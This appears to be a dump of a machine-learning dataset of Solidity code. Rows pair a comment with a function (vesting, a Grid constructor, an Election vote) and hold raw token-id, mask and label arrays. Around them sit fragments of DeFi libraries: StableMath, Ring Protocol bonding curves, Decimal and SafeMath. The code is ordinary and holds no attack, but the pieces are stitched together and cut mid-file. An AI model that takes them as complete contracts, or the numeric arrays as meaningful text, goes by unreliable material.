function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
// Based on StableMath from mStable
// https://github.com/mstable/mStable-contracts/blob/master/contracts/shared/StableMath.sol
library StableMath {
/**
* @dev Scaling unit for use in specific calculations,
* where 1 * 10**18, or 1e18 represents a unit '1'
*/
uint256 private constant FULL_SCALE = 1e18;
/**
* @dev Provides an interface to the scaling unit
* @return Scaling unit (1e18 or 1 * 10**18)
*/
function getFullScale() internal pure returns (uint256) {
return FULL_SCALE;
}
/**
* @dev Scales a given integer to the power of the full scale.
* @param x Simple uint256 to scale
* @return Scaled value a to an exact number
*/
function scaleInteger(uint256 x) internal pure returns (uint256) {
return x * FULL_SCALE;
}
/***************************************
PRECISE ARITHMETIC
****************************************/
/**
* @dev Multiplies two precise units, and then truncates by the full scale
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) {
return mulTruncateScale(x, y, FULL_SCALE);
}
/**
* @dev Multiplies two precise units, and then truncates by the given scale. For example,
* when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @param scale Scale unit
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncateScale(
uint256 x,
uint256 y,
uint256 scale
) internal pure returns (uint256) {
// e.g. assume scale = fullScale
// z = 10e18 * 9e17 = 9e36
// return 9e36 / 1e18 = 9e18
return (x * y) / scale;
}
/**
* @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit, rounded up to the closest base unit.
*/
function mulTruncateCeil(uint256 x, uint256 y) internal pure returns (uint256) {
// e.g. 8e17 * 17268172638 = 138145381104e17
uint256 scaled = x * y;
// e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17
uint256 ceil = scaled + FULL_SCALE - 1;
// e.g. 13814538111.399...e18 / 1e18 = 13814538111
return ceil / FULL_SCALE;
}
/**
* @dev Precisely divides two units, by first scaling the left hand operand. Useful
* for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17)
* @param x Left hand input to division
* @param y Right hand input to division
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divPrecisely(uint256 x, uint256 y) internal pure returns (uint256) {
// e.g. 8e18 * 1e18 = 8e36
// e.g. 8e36 / 10e18 = 8e17
return (x * FULL_SCALE) / y;
}
/***************************************
HELPERS
****************************************/
/**
* @dev Calculates minimum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Minimum of the two inputs
*/
function min(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? y : x;
}
/**
* @dev Calculated maximum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Maximum of the two inputs
*/
function max(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? x : y;
}
/**
* @dev Clamps a value to an upper bound
* @param x Left hand input
* @param upperBound Maximum possible value to return
* @return Input x clamped to a maximum value, upperBound
*/
function clamp(uint256 x, uint256 upperBound) internal pure returns (uint256) {
return x > upperBound ? upperBound : x;
}
}
| * @dev Initialize vestings from sale contracts for msg.sender/ | function addMyVesting() external {
_addVesting(msg.sender);
}
| 5,431,706 | [
1,
7520,
331,
395,
899,
628,
272,
5349,
20092,
364,
1234,
18,
15330,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
527,
12062,
58,
10100,
1435,
3903,
288,
203,
3639,
389,
1289,
58,
10100,
12,
3576,
18,
15330,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/8453/0x8BFB10D2df13c6553CE10F3B995fA5Aa0F478F26/sources/Grid.sol | Define the constructor function Set the treasury and token Determine how many tokens to mint per plot | constructor(address _treasury, BaseXYToken _token) {
treasury = _treasury;
token = _token;
deployer = msg.sender;
mintPerPlot = 100 * 10 ** ERC20(address(_token)).decimals();
}
| 16,813,080 | [
1,
11644,
326,
3885,
445,
1000,
326,
9787,
345,
22498,
471,
1147,
10229,
3661,
4906,
2430,
358,
312,
474,
1534,
3207,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
12,
2867,
389,
27427,
345,
22498,
16,
3360,
8546,
1345,
389,
2316,
13,
288,
203,
3639,
9787,
345,
22498,
273,
389,
27427,
345,
22498,
31,
203,
3639,
1147,
273,
389,
2316,
31,
203,
3639,
7286,
264,
273,
1234,
18,
15330,
31,
203,
203,
3639,
312,
474,
2173,
11532,
273,
2130,
380,
1728,
2826,
4232,
39,
3462,
12,
2867,
24899,
2316,
13,
2934,
31734,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.8.0;
//Things to add:
// 1) Add candidates based on x votes
// 1a) look at how many votes a candidate has
// 2) Vote with percentage of own cryptocurrency
// 3) Link to swap most crypto for voting crypto
// 3a) make voting crypto
contract Election {
//Variables
struct Candidate {
uint id;
string name;
uint voteCount;
}
//Fetch candidate
mapping(uint => Candidate) public candidates;
//Account storage
mapping(address =>bool) public voters;
//candidate count
uint public candidatesCount;
event votedEvent(
uint indexed _candidateId
);
//Find a way to add candidates
constructor () public {
addCandidate("Candidate 1");
addCandidate("Candidate 2");
}
function addCandidate(string memory _name) private{
candidatesCount++;
candidates[candidatesCount] = Candidate(candidatesCount, _name, 0);
}
/*Ask candidate name (double check name with a=1)Get votes for new candidate, count current candidate votes, if votes>threshold,
call add Candidate with name, random id, and vote count of 0*/
function vote (uint _candidateId) public{
//Make sure no multiple votes
require(!voters[msg.sender]);
//Vote for valid candidate
require(_candidateId > 0 && _candidateId <= candidatesCount);
//keep track of voter votes (no multiple)
voters[msg.sender] = true;
//update votes (Update with weighted votes based on held tokens)
candidates[_candidateId].voteCount++;
emit votedEvent(_candidateId);
}
}
| Make sure no multiple votesVote for valid candidatekeep track of voter votes (no multiple)update votes (Update with weighted votes based on held tokens) | function vote (uint _candidateId) public{
require(!voters[msg.sender]);
require(_candidateId > 0 && _candidateId <= candidatesCount);
voters[msg.sender] = true;
candidates[_candidateId].voteCount++;
emit votedEvent(_candidateId);
}
| 7,295,400 | [
1,
6464,
3071,
1158,
3229,
19588,
19338,
364,
923,
5500,
10102,
3298,
434,
331,
20005,
19588,
261,
2135,
3229,
13,
2725,
19588,
261,
1891,
598,
13747,
19588,
2511,
603,
15770,
2430,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
12501,
261,
11890,
389,
19188,
548,
13,
1071,
95,
203,
565,
2583,
12,
5,
90,
352,
414,
63,
3576,
18,
15330,
19226,
203,
565,
2583,
24899,
19188,
548,
405,
374,
597,
389,
19188,
548,
1648,
7965,
1380,
1769,
203,
565,
331,
352,
414,
63,
3576,
18,
15330,
65,
273,
638,
31,
203,
565,
7965,
63,
67,
19188,
548,
8009,
25911,
1380,
9904,
31,
203,
203,
565,
3626,
331,
16474,
1133,
24899,
19188,
548,
1769,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma experimental ABIEncoderV2;
import "./IBondingCurve.sol";
import "../refs/OracleRef.sol";
import "../pcv/PCVSplitter.sol";
import "../utils/Timed.sol";
/// @title an abstract bonding curve for purchasing RUSD
/// @author Ring Protocol
abstract contract BondingCurve is IBondingCurve, OracleRef, PCVSplitter, Timed {
using Decimal for Decimal.D256;
using SafeMathCopy for uint256;
/// @notice the total amount of RUSD purchased on bonding curve. RUSD_b from the whitepaper
uint256 public override totalPurchased; // RUSD_b for this curve
/// @notice the buffer applied on top of the peg purchase price
uint256 public override buffer = 50;
uint256 public constant BUFFER_GRANULARITY = 10_000;
/// @notice amount of RUSD paid for allocation when incentivized
uint256 public override incentiveAmount;
/// @notice constructor
/// @param _core Ring Core to reference
/// @param _pcvDeposits the PCV Deposits for the PCVSplitter
/// @param _ratios the ratios for the PCVSplitter
/// @param _oracle the UniswapOracle to reference
/// @param _duration the duration between incentivizing allocations
/// @param _incentive the amount rewarded to the caller of an allocation
constructor(
address _core,
address[] memory _pcvDeposits,
uint256[] memory _ratios,
address _oracle,
uint256 _duration,
uint256 _incentive
)
OracleRef(_core, _oracle)
PCVSplitter(_pcvDeposits, _ratios)
Timed(_duration)
{
incentiveAmount = _incentive;
_initTimed();
}
/// @notice sets the bonding curve price buffer
function setBuffer(uint256 _buffer) external override onlyGovernor {
require(
_buffer < BUFFER_GRANULARITY,
"BondingCurve: Buffer exceeds or matches granularity"
);
buffer = _buffer;
emit BufferUpdate(_buffer);
}
/// @notice sets the allocate incentive amount
function setIncentiveAmount(uint256 _incentiveAmount) external override onlyGovernor {
incentiveAmount = _incentiveAmount;
emit IncentiveAmountUpdate(_incentiveAmount);
}
/// @notice sets the allocate incentive frequency
function setIncentiveFrequency(uint256 _frequency) external override onlyGovernor {
_setDuration(_frequency);
}
/// @notice sets the allocation of incoming PCV
function setAllocation(
address[] calldata allocations,
uint256[] calldata ratios
) external override onlyGovernor {
_setAllocation(allocations, ratios);
}
/// @notice batch allocate held PCV
function allocate() external override whenNotPaused {
require((!Address.isContract(msg.sender)), "BondingCurve: Caller is a contract");
uint256 amount = getTotalPCVHeld();
require(amount != 0, "BondingCurve: No PCV held");
_allocate(amount);
_incentivize();
emit Allocate(msg.sender, amount);
}
/// @notice return current instantaneous bonding curve price
/// @return price reported as RUSD per X with X being the underlying asset
function getCurrentPrice()
external
view
override
returns (Decimal.D256 memory)
{
return peg().mul(_getBufferMultiplier());
}
/// @notice return amount of RUSD received after a bonding curve purchase
/// @param amountIn the amount of underlying used to purchase
/// @return amountOut the amount of RUSD received
function getAmountOut(uint256 amountIn)
public
view
override
returns (uint256 amountOut)
{
uint256 adjustedAmount = _getAdjustedAmount(amountIn);
amountOut = _getBufferAdjustedAmount(adjustedAmount);
return amountOut;
}
/// @notice return the average price of a transaction along bonding curve
/// @param amountIn the amount of underlying used to purchase
/// @return price reported as USD per RUSD
function getAverageUSDPrice(uint256 amountIn)
external
view
override
returns (Decimal.D256 memory)
{
uint256 adjustedAmount = _getAdjustedAmount(amountIn);
uint256 amountOut = getAmountOut(amountIn);
return Decimal.ratio(adjustedAmount, amountOut);
}
/// @notice the amount of PCV held in contract and ready to be allocated
function getTotalPCVHeld() public view virtual override returns (uint256);
/// @notice multiplies amount in by the peg to convert to RUSD
function _getAdjustedAmount(uint256 amountIn)
internal
view
returns (uint256)
{
return peg().mul(amountIn).asUint256();
}
/// @notice mint RUSD and send to buyer destination
function _purchase(uint256 amountIn, address to)
internal
returns (uint256 amountOut)
{
amountOut = getAmountOut(amountIn);
_incrementTotalPurchased(amountOut);
rusd().mint(to, amountOut);
emit Purchase(to, amountIn, amountOut);
return amountOut;
}
function _incrementTotalPurchased(uint256 amount) internal {
totalPurchased = totalPurchased.add(amount);
}
/// @notice if window has passed, reward caller and reset window
function _incentivize() internal virtual {
if (isTimeEnded()) {
_initTimed(); // reset window
rusd().mint(msg.sender, incentiveAmount);
}
}
/// @notice returns the buffer on the bonding curve price
function _getBufferMultiplier() internal view returns (Decimal.D256 memory) {
uint256 granularity = BUFFER_GRANULARITY;
// uses granularity - buffer (i.e. 1-b) instead of 1+b because the peg is inverted
return Decimal.ratio(granularity - buffer, granularity);
}
function _getBufferAdjustedAmount(uint256 amountIn)
internal
view
returns (uint256)
{
return _getBufferMultiplier().mul(amountIn).asUint256();
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
pragma experimental ABIEncoderV2;
import "./BondingCurve.sol";
import "../pcv/IPCVDeposit.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
/// @title a square root growth bonding curve for purchasing RUSD with ETH
/// @author Ring Protocol
contract ERC20BondingCurve is BondingCurve {
address public immutable tokenAddress;
constructor(
address core,
address[] memory pcvDeposits,
uint256[] memory ratios,
address oracle,
uint256 duration,
uint256 incentive,
address _tokenAddress
)
BondingCurve(
core,
pcvDeposits,
ratios,
oracle,
duration,
incentive
)
{
tokenAddress = _tokenAddress;
}
/// @notice purchase RUSD for underlying tokens
/// @param to address to receive RUSD
/// @param amountIn amount of underlying tokens input
/// @return amountOut amount of RUSD received
function purchase(address to, uint256 amountIn)
external
payable
virtual
override
whenNotPaused
returns (uint256 amountOut)
{
// safeTransferFrom(address token, address from, address to, uint value)
TransferHelper.safeTransferFrom(tokenAddress, msg.sender, address(this), amountIn);
return _purchase(amountIn, to);
}
function getTotalPCVHeld() public view virtual override returns (uint256) {
return IERC20(tokenAddress).balanceOf(address(this));
}
function _allocateSingle(uint256 amount, address pcvDeposit)
internal
virtual
override
{
// safeTransfer(address token, address to, uint value)
TransferHelper.safeTransfer(tokenAddress, pcvDeposit, amount);
IPCVDeposit(pcvDeposit).deposit();
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
pragma experimental ABIEncoderV2;
import "../external/Decimal.sol";
interface IBondingCurve {
// ----------- Events -----------
event BufferUpdate(uint256 _buffer);
event IncentiveAmountUpdate(uint256 _incentiveAmount);
event Purchase(address indexed _to, uint256 _amountIn, uint256 _amountOut);
event Allocate(address indexed _caller, uint256 _amount);
// ----------- State changing Api -----------
function purchase(address to, uint256 amountIn)
external
payable
returns (uint256 amountOut);
function allocate() external;
// ----------- Governor only state changing api -----------
function setBuffer(uint256 _buffer) external;
function setAllocation(
address[] calldata pcvDeposits,
uint256[] calldata ratios
) external;
function setIncentiveAmount(uint256 _incentiveAmount) external;
function setIncentiveFrequency(uint256 _frequency) external;
// ----------- Getters -----------
function getCurrentPrice() external view returns (Decimal.D256 memory);
function getAverageUSDPrice(uint256 amountIn)
external
view
returns (Decimal.D256 memory);
function getAmountOut(uint256 amountIn)
external
view
returns (uint256 amountOut);
function buffer() external view returns (uint256);
function totalPurchased() external view returns (uint256);
function getTotalPCVHeld() external view returns (uint256);
function incentiveAmount() external view returns (uint256);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
pragma experimental ABIEncoderV2;
import "./IPermissions.sol";
import "../token/IRusd.sol";
/// @title Core Interface
/// @author Ring Protocol
interface ICore is IPermissions {
// ----------- Events -----------
event RusdUpdate(address indexed _rusd);
event RingUpdate(address indexed _ring);
event GenesisGroupUpdate(address indexed _genesisGroup);
event RingAllocation(address indexed _to, uint256 _amount);
event GenesisPeriodComplete(uint256 _timestamp);
// ----------- Governor only state changing api -----------
function init() external;
// ----------- Governor only state changing api -----------
function setRusd(address token) external;
function setRing(address token) external;
function setGenesisGroup(address _genesisGroup) external;
function allocateRing(address to, uint256 amount) external;
// ----------- Genesis Group only state changing api -----------
function completeGenesisGroup() external;
// ----------- Getters -----------
function rusd() external view returns (IRusd);
function ring() external view returns (IERC20);
function genesisGroup() external view returns (address);
function hasGenesisGroupCompleted() external view returns (bool);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
pragma experimental ABIEncoderV2;
/// @title Permissions interface
/// @author Ring Protocol
interface IPermissions {
// ----------- Governor only state changing api -----------
function createRole(bytes32 role, bytes32 adminRole) external;
function grantMinter(address minter) external;
function grantBurner(address burner) external;
function grantPCVController(address pcvController) external;
function grantGovernor(address governor) external;
function grantGuardian(address guardian) external;
function revokeMinter(address minter) external;
function revokeBurner(address burner) external;
function revokePCVController(address pcvController) external;
function revokeGovernor(address governor) external;
function revokeGuardian(address guardian) external;
// ----------- Revoker only state changing api -----------
function revokeOverride(bytes32 role, address account) external;
// ----------- Getters -----------
function isBurner(address _address) external view returns (bool);
function isMinter(address _address) external view returns (bool);
function isGovernor(address _address) external view returns (bool);
function isGuardian(address _address) external view returns (bool);
function isPCVController(address _address) external view returns (bool);
}
/*
Copyright 2019 dYdX Trading Inc.
Copyright 2020 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma experimental ABIEncoderV2;
import "./SafeMathCopy.sol";
/**
* @title Decimal
* @author dYdX
*
* Library that defines a fixed-point number with 18 decimal places.
*/
library Decimal {
using SafeMathCopy for uint256;
// ============ Constants ============
uint256 private constant BASE = 10**18;
// ============ Structs ============
struct D256 {
uint256 value;
}
// ============ Static Functions ============
function zero()
internal
pure
returns (D256 memory)
{
return D256({ value: 0 });
}
function one()
internal
pure
returns (D256 memory)
{
return D256({ value: BASE });
}
function from(
uint256 a
)
internal
pure
returns (D256 memory)
{
return D256({ value: a.mul(BASE) });
}
function ratio(
uint256 a,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(a, BASE, b) });
}
// ============ Self Functions ============
function add(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.mul(BASE)) });
}
function sub(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE)) });
}
function sub(
D256 memory self,
uint256 b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE), reason) });
}
function mul(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.mul(b) });
}
function div(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.div(b) });
}
function pow(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
if (b == 0) {
return from(1);
}
D256 memory temp = D256({ value: self.value });
for (uint256 i = 1; i < b; i++) {
temp = mul(temp, self);
}
return temp;
}
function add(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.value) });
}
function sub(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value) });
}
function sub(
D256 memory self,
D256 memory b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value, reason) });
}
function mul(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, b.value, BASE) });
}
function div(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, BASE, b.value) });
}
function equals(D256 memory self, D256 memory b) internal pure returns (bool) {
return self.value == b.value;
}
function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 2;
}
function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 0;
}
function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) > 0;
}
function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) < 2;
}
function isZero(D256 memory self) internal pure returns (bool) {
return self.value == 0;
}
function asUint256(D256 memory self) internal pure returns (uint256) {
return self.value.div(BASE);
}
// ============ Core Methods ============
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
private
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
function compareTo(
D256 memory a,
D256 memory b
)
private
pure
returns (uint256)
{
if (a.value == b.value) {
return 1;
}
return a.value > b.value ? 2 : 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
